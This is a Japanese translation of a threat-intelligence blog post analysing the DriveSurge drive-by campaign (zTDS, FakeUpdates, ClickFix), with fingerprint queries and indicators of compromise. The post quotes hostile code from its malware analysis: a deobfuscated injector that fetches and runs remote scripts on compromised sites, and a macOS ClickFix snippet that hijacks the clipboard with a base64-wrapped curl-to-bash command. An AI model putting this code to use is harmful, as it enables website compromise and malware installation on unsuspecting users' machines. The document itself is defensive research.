主な調査結果
- Silent Pushのプリエンプティブサイバーディフェンスアナリストはこのほど、脅威アクターがマルウェアの配布を大規模に自動化するために開発した複数のドライブバイ攻撃クラスターを観測しました。私たちはClickFixおよびFakeUpdatesキャンペーンの急増を牽引する主要な存在にDriveSurgeという名称を付けました。
- 現在の活動状況から、DriveSurgeはペイ・パー・インストール(PPI)モデルを採用した専門的なイニシャル・アクセス・ブローカー(IAB)として機能し、高品質な被害者情報を下流の脅威アクターに供給していると考えられます。
- DriveSurgeは数千のウェブサイトを侵害し、zTDSドメインを設定することで被害者をClickFixおよびFakeUpdatesのウェブサイトへ誘導しています。
- 我々の調査により、DriveSurgeの悪意あるインフラをマッピングする8つの技術的フィンガープリントが明らかになりました。
エグゼクティブサマリー
DriveSurgeが注目に値するのは、その活動量だけではありません。インフラの洗練度、標的の広範さ、そしてこれまでほぼ検出されることなく活動を続けていたという事実が際立っています。
その主要な武器は、トラフィック配信システム(TDS)と呼ばれる手法です。具体的には、少なくとも2015年から使用されているオープンソースの派生版「zTDS」を用いており、ztds[.]infoで公開されています。zTDSを利用してDriveSurgeは数千の正規かつ高い信頼性を持つウェブサイトを乗っ取り、サイトの所有者や訪問者が気づかないまま、訪問者をマルウェアへひそかにリダイレクトしています。
我々の調査に基づくと、DriveSurgeはペイ・パー・インストール(PPI)モデルを採用していると推測されます。このモデルでは、被害者のデバイスへの感染が成功するたびに報酬を受け取り、その情報が下流の脅威アクターに販売されます。
目次
攻撃の仕組み
DriveSurgeの攻撃は、その欺瞞において巧妙です。ユーザーが、企業・専門サービス会社・地域組織などの正規ウェブサイトを訪問しますが、そのサイトはひそかにDriveSurgeによって侵害されています。DriveSurgeが注入した隠れた悪意のあるコードがバックグラウンドで動作し、訪問者をzTDSを経由してルーティングします。zTDSは訪問者をプロファイリングし、次に何を提供するかを決定します。
その後、被害者は通常、次の2つのシナリオのいずれかに遭遇します:
FakeUpdates(偽アップデート):Google Chrome、Mozilla Firefox、Microsoft Edge、Safari、Opera Browser、Brave Browser、Yandex Browser、Vivaldi、Samsung Internet、UC Browser、またはその他のブラウザを装った説得力のあるブラウザ更新プロンプトが表示され、正規のブラウザアップデートを装ったマルウェアのダウンロードを促します。
侵害されたサイトjclforwarding[.]comで分析した事例では、悪意のあるドメインcheck[.]first-node[.]rocksがMozilla Firefoxの偽アップデートページを配信していました。アップデートボタンをクリックすると、複数のDLLと「Browser Update[.]exe」を含むZIPファイルのダウンロードが開始されました。
ClickFix:偽のエラーメッセージが表示され、「修正」をターミナルまたはPowerShellウィンドウにコピー&ペーストするよう指示します。その「修正」は、マルウェアをシステムに直接インストールする悪意のあるコマンドです。確認された事例では、ClickFixがIP 91.92.240[.]127から悪意のあるコードを取得しようとしたことが観測されました。このアドレスは、発見以前から我々のBulletproof Hosting Indicators of Future Attack®(IOFA)フィードにすでにリストされていました。
どちらの手法も、ユーザーが普段利用しているウェブサイト、毎日使用するブラウザ、まったく通常に見えるセキュリティプロンプトへの信頼を悪用するように設計されています。
調査手法と初期インテリジェンス
DriveSurgeの調査は、NiceNICを悪意のある行為者が頻繁に利用するレジストラとして特定したBulletproof Hostingホワイトペーパーのインテリジェンスを活用することから始まりました。NiceNICに登録されたドメインが独自のウェブリソース技術を用いて他のウェブサイトに外部からロードされているインスタンスを探索したところ、DriveSurgeを含む複数の大規模脅威クラスターを発見することに成功しました。
2026年2月、IOFAフィードからすべてのNiceNICドメインを収集し、そのうちのいずれかが前月に別のウェブサイトに外部からロードされたかどうかを確認することで、この手法をテストしました。スクリプトは1回の実行で10万件のドメインを処理し、分析用にウェブリソース結果のJSON出力を返しました。この結果から、少なくとも10の異なる脅威クラスターを特定しました。
このブログの残りの部分では、開発した8つのフィンガープリント、後続の分析、およびDriveSurgeクラスターの調査結果について説明します。
注記:この手法はNiceNICに限らず、特定のBulletproof HostingのASNから外部ロードされるドメインを検索することで、より広範に適用できます。
8つのフィンガープリント:DriveSurgeのインフラのマッピング
フィンガープリント1:悪意のあるインジェクト(t.jsパターン)
初期のウェブリソースデータにおいて、侵害されたホスト名に対して外部からロードされる、ユニークなパターンに従ったJavaScriptファイルをインジェクトする複数の外部リソースを確認しました。そのパターンは、site=[32文字の16進数文字列]で始まるfileparameterにファイル名t.jsを持つものです。
例:hxxps[:]//beacontrace[.]bond/t.js?site=0ca424475803a1cb54908a81a00bd93f
32文字の16進数文字列は、各被害者ウェブサイトの固有識別子と考えられており、攻撃者のサーバーに盗まれたデータがどのサイトから来ているかを正確に伝えます。このフィンガープリントにより、DriveSurgeの悪意のあるドメインと対応する被害者ウェブサイトのリストを作成することができました。
Webサーチ fileparameter + filename + external クエリリンクdatasource = ["webresources"] AND fileparameter ~= "^site=[0-9a-f]{32}$" AND filename = "t.js" AND external = "true"

フィンガープリント2:悪意のあるインジェクト(SHA256から派生したファイル名)
フィンガープリント1で明らかになったドメインを確認する中で、それらが別のパターンを使用したJavaScriptファイルも配信していることに気づきました。そのパターンは、ファイル名がt.で始まり、12文字の16進数文字列が続き、.jsで終わるものが外部からロードされるというものです。
12文字の16進数がファイルのSHA256ハッシュの最初の12文字と一致することを発見しました。これは以前に遭遇したことのないファイル命名規則であり、脅威アクターが意図的にこのロジックを難読化に組み込んだことを示しています。この固有のシグネチャが追加の関連脅威クラスターを特定するかどうかを判断するため、調査を拡大しています。
Webサーチ filename + external クエリリンクdatasource = ["webresources"] AND filename ~= "^t\.[a-f0-9]{12}\.js$" AND external = "true"

フィンガープリント3:悪意のあるインジェクト(ext-bパターン)
フィンガープリント1のドメインから、第三のファイルパターンが浮上しました。ファイル名がext-bまたはextで始まり、フィンガープリント2と同様にファイルのSHA256の最初の12文字が続き、.jsで終わるものが外部からロードされるというパターンです。前のフィンガープリントと同様に、これにより追加のDriveSurge悪意ドメインと被害者ウェブサイトのリストが得られました。
Webサーチクエリリンクdatasource = ["webresources"] AND filename ~= "^ext(-b)?\.[a-f0-9]{12}\.js$" AND external = "true"

フィンガープリント4:悪意のあるサーバー設定
最初の3つのフィンガープリントの結果を分析することで、ファイル名の構造に依存することなく、悪意のあるサーバー設定を直接フィンガープリントできるパターンを特定しました。
Webサーチクエリリンクdatasource = ["webscan"] AND HHV = "809360090d06400845c9ee1802" AND header.server = "nginx/1.27.2" AND jarm = "15d3fd16d29d29d00042d43d000000ea552d307cdd65a9a94fec1293390a04" AND htmltitle = "404 Not Found" AND body_analysis.body_sha256 = ["29ac78c51bcdfe68c64830bdeb6e41437dd55e2691149741c9b78be03b6c82ea", "a84b032b49773c2318b11b1164d1aada69e940229aedbf8185c33fc7dd1d2cdf"]

フィンガープリント5:ドメイン検索(インフラパターン)
最初の4つのフィンガープリントから得られたすべてのDriveSurge悪意ドメインを確認した結果、それらの大部分に共通するインフラ設定パターンを特定しました:
| フィールド | 値 |
|---|---|
| トップレベルドメイン(TLD) | .icu |
| ネームサーバー名 | ns1.erans[.]ru |
| MX名 | self(自己命名) |
| AS番号 | 203273、210644 |
| レジストラ | NiceNIC |
ドメイン検索機能(エンタープライズ顧客限定で利用可能)を使用して、このパターンを検索クエリに作成したところ、90のホスト名が特定され、サブドメインを除くと39の固有ドメインになりました。その39ドメインのうち7つは、執筆時点(2026年5月)では悪意のあるインジェクトをまだ配信しておらず、事前に特定してフラグを立てることができた武器化前のインフラを表しています:
- brightson[.]icu
- coverlink[.]icu
- datumprobe[.]icu
- eraggifts[.]icu
- keyview[.]icu
- traceglimpse[.]icu
- tracekey[.]icu
この検索で見つかったその他すべてのドメインは、フィンガープリント1、2、または3でも発見可能でした。
フィンガープリント6:WHOIS(登録メールアドレスのピボット)
WHOISデータソースで82の固有の悪意あるインジェクトドメインを確認したところ、複数のドメインがメールアドレスthiagorivera197151[@]ycyfugihih[.]cfdで登録されていることがわかりました。このメールアドレスを基に作成した新しいフィンガープリントにより、以前は確認されていなかった6つの追加ドメインが特定され、悪意のあるインジェクトがまだ設定されていない将来のDriveSurgeドメインの追跡に役立つため、TTPs(戦術・技術・手順)のドリフトの検出に最適です。
Webサーチクエリリンクdatasource = "whois" AND email = "[email protected]"

これはDriveSurge専用の登録メールアドレスであると考えられており、最初のドメインは2026年4月8日に登録されました。メールアドレスに含まれるドメインycyfugihih[.]cfdをピボットすると、登録アカウントによる長期メールボックス使用も提供する一時メールサービスプロバイダーtempmail[.]soを指すMXレコードが明らかになります。

DriveSurgeがこのメールアドレスを使用して2週間にわたってドメインを登録したことから、長期アカウントを確立したと考えられます。つまり、tempmail[.]soに追加のメールアドレスを持っている可能性が高いです。

偽アップデートを配信する侵害サイトの分析
複数のフィンガープリントが数百の侵害サイトを明らかにする中、追加のインフラを発見するために、侵害されたドメインの一つであるjclforwarding[.]comを詳しく調べました。明らかに正規の外部リソースを除外し、不審なドメインを浮かび上がらせるためにクエリを実行しました:
Webサーチクエリリンクdatasource = ["webresources"] AND external = "true" AND hostname = "jclforwarding.com" AND resource_domain != "google.com" AND resource_domain != "googleapis.com" AND resource_domain != "wsimg.com" AND resource_domain != "gstatic.com" AND datahash = "428bd0b0ac36dfdd223b3953dbe61c0baf227f893310b03e7afe3111462019c6"

これにより、サイトにロードされている複数の不審なドメインが明らかになりました。一部は既存のフィンガープリントに一致するもの(webgleam[.]info)であり、その他はさらなる調査が必要なものでした:
- check[.]first-node[.]rocks
- cptoptious[.]com
- webgleam[.]info
- banerpanel[.]live
- testio[.]ecartdev[.]com
- maxintora[.]com
フィンガープリント7:WHOIS(第二のメールアドレスのピボット)
WHOISデータソースで新しいドメインを確認したところ、別の脅威アクターのメールアドレスがすぐに明らかになりました。これを新しいフィンガープリントとして使用したところ、さらに複数の悪意あるドメインが得られました:
Webサーチクエリリンクdatasource = "whois" AND email = ["[email protected]"]

Mozilla Firefoxの偽アップデートおよびその他11ブラウザ
jclforwarding[.]comでトリガーされたMozilla Firefoxの偽アップデートページはcheck[.]first-node[.]rocksを通じて配信されていました。
アップデートボタンをクリックすると、複数のDLLと「Browser Update[.]exe」を含むZIPファイル(SHA256:90aecb370dfb1a99a1f7de0a9c6842ab1b664521fddea16b0ec9a91f322646fc)のダウンロードがトリガーされました。


check[.]first-node[.]rocksによってインジェクトされたscript.jsファイルのより詳細な分析により、私たちの環境ではFirefoxの偽アップデートを配信しましたが、実際には11のブラウザを偽装できることが明らかになりました:Google Chrome、Mozilla Firefox、Microsoft Edge、Safari、Opera Browser、Brave Browser、Yandex Browser、Vivaldi、Samsung Internet、UC Browserに加え、「その他」カテゴリです。

以下のスクリーンショットでは、悪意のあるホスト名にページ訪問者がアクセスした際に、サーバーの機能とそのサーバーが追跡する内容を示すサーバーレスポンスをトリガーできます。ファイルをダウンロードし、VirusTotalにアップロードしました(以下に共有します):

zTDS — トラフィック配信システム
jcdlforwarding[.]comにもロードされていたドメインcptoptious[.]comが、zTDSバージョン1.0.3を配信していることが確認されました。

ワードリストを使用してインフラをスキャンしたところ、このTDSが少なくとも2015年から存在し、ztds[.]infoで入手可能であることを確認する公開アクセス可能なchangelog.txtファイルを発見しました。


(Google翻訳を使用して)チェンジログ情報を翻訳することで、zTDSの機能をまとめることができました:
- 「不要なASNをブロックするためにdatabase/blacklist_asn.datを追加しました。」
- 「不要なIPをブロックするためにdatabase/blacklist_ip.datを追加しました。」
- 「リファラーによってトラフィックをブロックするためにdatabase/signature_ref.datを追加しました。」
- 「ボットシグネチャをdatabase/signature_ua.txtに移動しました。」
- 「ztds[.]infoからボットIPリストを更新します。」
- 「TDS管理パネルからapi_v2.phpの設定を管理します。」
- 「モバイルオペレーターのIPを1つのファイルwap[.]txtにまとめました。」
- 「キャプチャ設定をconfig.phpに移動しました。
- 「IPGrabberデータベース(hxxp://bseolized[.]com)での訪問者IPチェック。」
フィンガープリント8:サーバー設定(zTDS)
特定のzTDS設定をフィンガープリントしたところ、脅威アクターが2025年9月13日から同じIPアドレスを使用し続けていることが確認されました。これは、そのIPアドレスがBulletproof Hosting IOFAとしてもラベル付けされているため、驚くべきことではありません。
Webサーチクエリリンクdatasource = ["webscan"] AND HHV = "48e9c3576c466132e2080ce519" AND jarm = "15d3fd16d29d29d00042d43d000000fe02290512647416dcf0a400ccbc0b6b" AND header.server = "nginx" AND body_analysis.body_sha256 = "0c62c11e910d7c0d6b6c9800b70e78bfd9220e1f78bd7bb34ae4c3646d05f6e5"

フィンガープリント8:悪意のあるインジェクト
zTDSを配信するドメインに、さらに固有の追跡可能なパターンが観測されました。ファイル名jsrepoとrnd=で始まるfileparameterを持つウェブリソースです:
このパターンは最近のRapid7の調査でも独立して取り上げられており、悪意のあるドメインcptoptious[.]comとともにjsrepoパターンが言及されています。
Webサーチクエリリンクdatasource = ["webresources"] AND filename = "jsrepo" AND fileparameter = "rnd=*"

zTDSを隠蔽するために使用された難読化
フィンガープリント8の結果を使用して、この特定のzTDS使用インスタンスを特定し、侵害されたウェブサイトをより詳しく調べました。この事例では、医療専門家が使用する侵害サイト(詳細は法執行機関に提供可能)を調査し、追加の悪意あるインフラを特定できるかどうかを確認しました。このウェブサイトが侵害されていることはわかっていますが、以下のスクリーンショットに示すように、訪問しただけでは容易には判明しません。
base64エンコードされた文字列で隠されたzTDSを発見するためには、さらなる掘り下げと調査が必要です。

発見したJavaScriptスニペットをデコードすると、管理者ではないWordPress訪問者を標的とするzTDSを通じた悪意のあるリダイレクトとペイロードインジェクターが明らかになります。このコードはBase64エンコードをデコードするJavaScript組み込み関数atob()デコードや文字列連結などの難読化技術を使用して、リモートドメインからさらなる悪意のあるスクリプトを取得するURLを組み立てます。
このコードには、ペイロードが被害者のブラウザに確実にインジェクトされ実行されるよう、複数のバックアップサーバーを循環するフェイルオーバーメカニズムが含まれています。以下に完全なコードを示します。ペイロードがjsrepoファイルでzTDSをインジェクトするためのURLを作成していることがわかります。
// 1. 既に実行済みかどうかを確認し、ユーザーがWordPress管理者でないことを確認 if (!window.__performance_optimizer_v6 && (window.__performance_optimizer_v6 = true, !/wordpress_logged_in_/.test(document.cookie))) { // 2. エンコードされた悪意のあるzTDSドメイン var urls = [ "hxxps[://]newtdsone[.]shop", // インデックス0 "/jsrepo?rnd=", // インデックス1 "hxxps[://]cptoptious[.]com", // インデックス2 "/jsrepo?rnd=", // インデックス3 "hxxps[://]captioto[.]com" // インデックス4 ]; // 上記の文字列を組み合わせる方法をマッピング var patterns = [[0, 1], [2, 3], [4, 3]]; function loadPayload(index) { if (index >= patterns.length) return; try { var fullUrl = ""; var sequence = patterns[index]; // 配列からURLを構築(例: hxxps[://]newtdsone[.]shop/jsrepo?rnd=) for (var k = 0; k < sequence.length; k++) { fullUrl += atob(urls[sequence[k]]); } // キャッシュをバイパスするためにランダムな数値を追加 var finalUrl = fullUrl + Math.random(); // 3. 悪意のあるスクリプトを取得するための同期リクエスト var xhr = new XMLHttpRequest(); xhr.open("GET", finalUrl, false); // 'false'は同期処理(ページをフリーズさせる) xhr.send(); if (xhr.status == 200) { // 4. インジェクト実行 var scriptElement = document.createElement("script"); scriptElement.text = xhr.responseText; document.head.appendChild(scriptElement); } else { // 一つのドメインが失敗した場合、次を試みる(フェイルオーバー) loadPayload(index + 1); } } catch (error) { loadPayload(index + 1); } } loadPayload(0); }
ClickFix
安全なWindows環境でレジデンシャルIPアドレスを使用して、zTDSフィンガープリントによって特定された被害者ウェブサイトを閲覧し、ClickFixをトリガーしました。
ClickFixは、侵害されたウェブサイトが偽のブラウザまたはソフトウェアアップデートエラーを表示し、ユーザーに悪意のあるコードを実行させるソーシャルエンジニアリング戦術です。これらのオーバーレイは通常、被害者にターミナルまたはPowerShellウィンドウに「修正」をコピー&ペーストするよう指示し、マルウェアをシステムに直接インストールします。

このClickFixインスタンスは、IP 91.92.240[.]127から悪意のあるコードを取得しようとしていましたが、このアドレスはすでにBulletproof Hosting IOFAフィードにリストされています。
調査時点でサーバーは「Internal Error 500」を返しており、リードのさらなる調査が妨げられました。それでも、この発見はDriveSurgeがClickFix TTPsも積極的に使用していることを確認するものです。
ADS:広告配信システム
jclforwarding[.]comに外部からロードされているドメインを調査する中で、カジノのスロットマシン広告のように見えるものを配信しているbanerpanel[.]liveを発見しました。

/admin/login[.]phpでbanerpanel[.]liveのパネルログインをトリガーすると、ロシア語インターフェースのADSシステムが表示されます。これは「Advertisement Distribution System(広告配信システム)」の略と考えられます。

このドメインのみをウェブリソースでピボットすることで、侵害されたサイトにファイルbanner-js[.]phpをロードする別のユニークな文字列パターンを発見しました。
注記:banerpanel[.]liveは現在この文字列を配信している唯一のドメインであるため、このパターンに対する新しいフィンガープリントは作成しませんでした。その結果、フィンガープリントによって新しいインテリジェンスが得られる可能性は低いと判断しました。
Webサーチクエリリンクdatasource = ["webresources"] AND resource_domain = "banerpanel.live"

「banner-js[.]php」スクリプトを分析した結果、ボットトラフィックを積極的にフィルタリングしながら広告を配信するように設計された高度なバナー管理システムであることがわかりました。
このシステムは画面解像度、ハードウェアスペック、ブラウザ環境などのデバイスメタデータを収集して固有のフィンガープリントを作成し、人間の存在を確認します。マウスの動き、スクロール、クリックを監視することで「信頼スコア」を算出し、ユーザーの最初の真正なインタラクション後にのみバナーを表示します。
このシステムはローカルストレージを通じて広告の表示頻度を管理して繰り返し表示を防ぎ、行動指標や不正クリック防止ハッシュを含む詳細なテレメトリをリモートAPIに送信することで、高品質なコンバージョン追跡と不正クリック防止を実現します。

ペイロードと開発サーバー
jcdlforwarding[.]comの分析中に、別の不審なホスト名testio[.]ecartdev[.]comを特定しました。様々なファイルパスを列挙して有効なものを確認したところ、/login.php、/includes、/assetsページに関するインサイトが得られました。
これらの調査結果の分析に基づき、testio.ecartdev[.]comをホストしているマシンはペイロードと開発サーバーであると考えています。
パス /login.php
ホスト名の後にlogin[.]phpを付けてアクセスすることでログインパネル(下図参照)がトリガーされました。ルートを意図的に空白に見せかけた非インデックスパスの後ろにログインパネルを隠すことで、攻撃者はコマンド&コントロール(C2)パネルと思われるものを意図的に隠蔽しようとしています。

パス /includes
/includesパスにもファイル名が見つかりましたが、ファイルはダウンロードできませんでした。ただし、ファイル名自体がヒントを提供しており、JavaScriptファイルを難読化する機能を提供していることを示しています。これは、侵害されたウェブサイトを通じて悪意のあるJavaScriptインジェクトが配信される際に行われる処理です。

パス /assets
/assetsパスの下に/assets/snippetsフォルダがあり、興味深いファイル名とフォルダ名が含まれています。これは、サーバーがマルウェアペイロードの保存と被害者を騙すための.htmlフロントページの配信を目的としている可能性が高いことを示しています。

/assets/snippets内のdroppersフォルダをさらに探索したところ、それぞれ類似したファイルを格納する5つのフォルダが見つかりました。

以下の例ではterminal_ps1_downloaderフォルダをより深く調査し、content.ps1スクリプトを観察します。最小限の分析でも、このスクリプトが被害者のデバイスにマルウェアをステージングするために使用されることが明らかです。

難読化されたペイロードの分析がmacOSマルウェアへと導く
フィンガープリント3はext-b[12文字].jsパターンに一致するJavaScriptファイルを表面化させます。そのようなファイルの1つをさらに分析したところ、高度な難読化が明らかになりました。

高度な難読化解除のためにGemini AIを使用してスクリプトのロジックをデコードし、高度な多段階攻撃ベクターを発見しました。この自動分析により、ペイロードのハードコードされたURLとmacOSシステムを標的とする特定の環境チェックパラメータが明らかになりました。
環境プロファイリングとフィンガープリンティング
スクリプトはまず被害者のオペレーティングシステムを確認し、Macintoshのユーザーエージェントを報告する場合でもモバイルデバイス(iPad/iPhone)を意図的に除外しながら、デスクトップmacOSユーザーに絞り込みます。これにより、後で配信される「Spotlight」や「Terminal」の指示が被害者のOSと文脈的に関連したものとなり、ソーシャルエンジニアリングの誘惑の成功率が高まります。
const userAgent = navigator.userAgent || ''; const isMac = /\bMacintosh\b/i.test(userAgent); const isMobile = /\b(iPad|iPhone|iPod)\b/i.test(userAgent) || (isMac && navigator.maxTouchPoints > 1); if (!isMac || isMobile) return;
設定と攻撃者のエンドポイント
analyticsUrlをwindowから動的に取得することで、攻撃者はスクリプト自体を更新することなく追跡サーバーをローテーションできます。payloadUrlは次のステージのマルウェアに直接ポイントします:
const analyticsUrl = window.__analyticsUrl; // 前のローダースクリプトによってインジェクト const payloadUrl = "hxxp://46.226.166[.]57/ce3cbfc887?force=1"; // ペイロードサーバー const maliciousCmd = generateMaliciousCommand(payloadUrl);
悪意のあるコマンドの生成
generateMaliciousCommand関数が実際のペイロードを準備します。リモートスクリプトをダウンロードして実行するように設計された多段階シェルコマンドを作成します。実行ステップを以下のように分解します:
- cd /tmp:ユーザーフォルダにファイルを残さないよう、一時ディレクトリに移動します。
- curl -kfsSL:攻撃者のC2サーバーから次のペイロードをひそかにダウンロードします。
- bash:ダウンロードしたファイルを実行します。
- rm -f:フォレンジックの痕跡を最小化するために、実行直後にスクリプトを削除します。
- 難読化:スクリプトはコマンドをbase64文字列でラップします。ユーザーがペーストすると「Verification ID」文字列として見えますが、パイプ(
|)がbashに送信されて復号化・実行されます。
let shellCmd = `cd /tmp && curl -kfsSL "${remoteUrl}" -o ${randomFile} && bash ${randomFile} && rm -f ${randomFile}`; let encodedCmd = btoa(unescape(encodeURIComponent(shellCmd))); return `echo 'I am not a robot - reCAPTCHA Verification ID: ${verificationId}' | base64 -D | bash`;
クリップボードハイジャックのロジック
スクリプトは偽の「私はロボットではありません」チェックボックスへのクリックを傍受します。セキュリティチェックを実行する代わりに、ユーザーのクリップボードの内容をひそかに悪意のあるコマンドに置き換えます。その後、モーダルが表示され、ユーザーはTerminalを開いて「確認コード」だと信じているもの(⌘ + V)をペーストするよう指示されます。しかし、クリップボードが乗っ取られているため、ユーザーは知らずにマルウェアをペーストして実行してしまいます。
checkbox.addEventListener('click', async (e) => { e.preventDefault(); const maliciousCmd = generateMaliciousCommand(payloadUrl); await navigator.clipboard.writeText(maliciousCmd); // ハイジャックポイント document.getElementById('instruction-modal').style.display = 'block'; });
ペイロードのハッシュ値とC2
スクリプトに埋め込まれたペイロードURL hxxp://46[.]226[.]166[.]57/ce3cbfc887?force=1 のSHA256ハッシュ値は7aa15de93cf85729ddf970e8d7897f69ece3ca29608f73e784a9ba40c9cea18dです。
VirusTotalとHybrid Analysisを使用して、同じペイロードをかつてホストしていた第二のペイロードサーバーを特定しました。
この古いペイロードサーバーは現在オフラインですが、同じファイルを配信していた唯一の他のサーバーであったことは注目に値します。VirusTotalを使用して、2つのサーバーによって配信された2つの追加マルウェアサンプルを発見しました。詳細を以下の表に示します:
| macOSマルウェアURL | SHA256 |
|---|---|
| hxxp://147[.]45[.]42[.]200/ce3cbfc887?force=1 | 7aa15de93cf85729ddf970e8d7897f69ece3ca29608f73e784a9ba40c9cea18d |
| hxxp://46[.]226[.]166[.]57/ce3cbfc887?force=1 | 7aa15de93cf85729ddf970e8d7897f69ece3ca29608f73e784a9ba40c9cea18d |
| hxxp://147[.]45[.]42[.]200/66856ca57ed?force=1 | 8ecc7108cd679316bf5900e84f19b256dc399902cdede646493f502ac872cc1a |
| hxxp://46[.]226[.]166[.]57/66856ca57ed?force=1 | 8ecc7108cd679316bf5900e84f19b256dc399902cdede646493f502ac872cc1a |
| hxxp://147[.]45[.]42[.]200/e97b7f7ccab3a?force=1 | e1ce4e6222396a58d13dddfe64c1dd21f1632bcbe11d1867d44bab4fc646883a |
| hxxp://46[.]226[.]166[.]57/e97b7f7ccab3a?force=1 | e1ce4e6222396a58d13dddfe64c1dd21f1632bcbe11d1867d44bab4fc646883a |
すべてのペイロードは最終的に147[.]45[.]42[.]205:8133へのC2接続を確立します。これはVirusTotalで確認できるように、マルウェアが実行される際に明確に確認できます。
DriveSurgeの追跡継続
我々のチームは2026年を通じてDriveSurgeのインフラを悪意ある行動について追跡・分析し続け、調査が進むにつれて新しい調査結果を報告します。
貴組織がDriveSurgeと一致する活動に遭遇した場合、または関連するインテリジェンスを共有したい場合は、ぜひ連携させていただきたいと思います。
プリエンプティブサイバーディフェンスを始める
Silent Pushのプリエンプティブサイバーディフェンスプラットフォームについて詳しく知りたいですか?
お問い合わせいただき、プラットフォームの専門家にご相談ください。Silent Pushがどのようにして脅威が境界に到達する前に無力化するお手伝いができるかをご説明します。
また、無料コミュニティエディションも提供しており、セキュリティ実務者や研究者がSilent Pushプラットフォームとデータセットへの入門的なアクセスを利用できます。
翻訳元: https://www.silentpush.com/blog/drivesurge/